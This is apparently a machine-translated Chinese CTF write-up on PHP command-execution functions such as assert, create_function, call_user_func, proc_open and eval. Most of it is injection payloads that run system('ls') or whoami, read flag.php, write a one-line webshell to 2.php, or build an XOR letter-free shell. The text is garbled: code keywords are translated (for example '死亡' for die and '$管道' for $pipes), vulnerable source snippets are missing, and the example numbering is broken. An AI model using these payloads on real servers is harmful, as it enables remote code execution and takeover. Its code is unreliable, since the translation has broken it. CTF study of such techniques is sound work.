前言代码审计总是遇到命令执行或者RCE。在敲CTF的过程中难免不会遇到。毕竟,PHP是世界上最好的语言。命令执行函数总结E.g.1传入参数c和d,array_map函数以$a为函数,$array为参数构造paylaod?c=assert&d=system(%27ls%27);例如2create_function函数将创建一个匿名函数(lambda样式),在第一个名称显示在第一个echo语句中,而此函数在第二个echo语句中执行。$b=create_function('',$a);这里$a是一个函数,''是一个参数,所以可以看成functionlambda(){?echo'';}inputpayloadb=;}phpinfo();/*在function函数中,后面的内容functionlambda(){echo'';}phpinfo();/*}被注释掉,即命令E.g.3没什么特别的,assert直接作为函数执行,payload:?b=system(%27ls;%27)E.g.5call_user_func()函数的特点,知道后面的$b是参数,前面的$a是函数。负载:?b=system&c=whoamiE.g.6payload:?b=assert&c=system(%27whoami%27);例如7传入参数a和b,一个作为函数执行,一个做bit参数构造payload:?a=assert&b=system(%27ls%27)E.g.8一句话,木马你熟悉吗,直接在get方法中给b传参数就可以了,payload:?b=system("ls");E.g.9基本属于3的加强版,重点是需要关闭。代码多了,payload也没区别。重点还是$codelocationpayload:?a=1;}system(%27ls%27);/*E.g.10属于增强版,$sort_function的内容是封闭的,即sort_by的参数值必须是封闭的,构造payload:?sort_by=%27"]);}system(%27whoami%27);/*例如11虽然加了正则化,但是没用,假的,payload:?c=system(%27ls%27);例如12payload?a=%20>2.php一个字木马写2.php直接执行命令也有其他解决方案例如132.txt的特点然后执行?c=cat2.txt此时E.g.15查看echo和传入的字符串,方法和上面的类似?c=cat%20flag.php>3.txt可以直接访问3.txt,或者?c=cat%203.txtE.g.16payload:?c=cat%20flag.phpE.g.17payload?c=cat%20flag.phpE.g.18array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$handle=proc_open($command,$descriptorspec,$pipes,NULL);if(!is_resource($handle)){die('proc_openfailed');}while($s=fgets($pipes[1])){print_r($s);}while($s=fgets($pipes)[2])){print_r($s);}fclose($pipes[0]);fclose($管道[1]);fclose($管道[2]);proc_close($handle);?>payload?c=cat%20flag.phpE.g.19无字母shell40){//检测字符长度die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){//限制字母和数字死亡("NO.");}@eval($code);//$code的值必须是非字母和数字}else{highlight_file(__FILE__);}//$hint="phpfunctiongetFlag()togetflag";?>绕过正则,传入的参数不能包含大小写字母和数字,使用异或绕过正则规则no.flag表示flag在getflag()方法中,则自然需要构造一个payload来调用getflag()方法。要求参数长度小于40,绕过正则。然后想象函数getflag(){xxxxxxxxxxxxxxxxxx}@eval($code);函数调用类似于上面的过程,那么在执行eval的过程中,不能直接执行$code。参考上面的问题7。那么我传入的代码的参数是$_GET[]的形式,需要调用getFlag()方法。由于需要不带字母,组合异或,则payload如下:?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlagor?code=$="`{{{"^"?<>/";${$}_;&_=getFlaghere//_GET没有字母的变体shell$_="`{{{"^"?<>/";请绕道,如有错误,欢迎高手指出实验推荐:PHP命令注入攻击(和田网络安全实验室)点击进入实操>>更多网络安全工具及学习资料,扫码获取自由的:
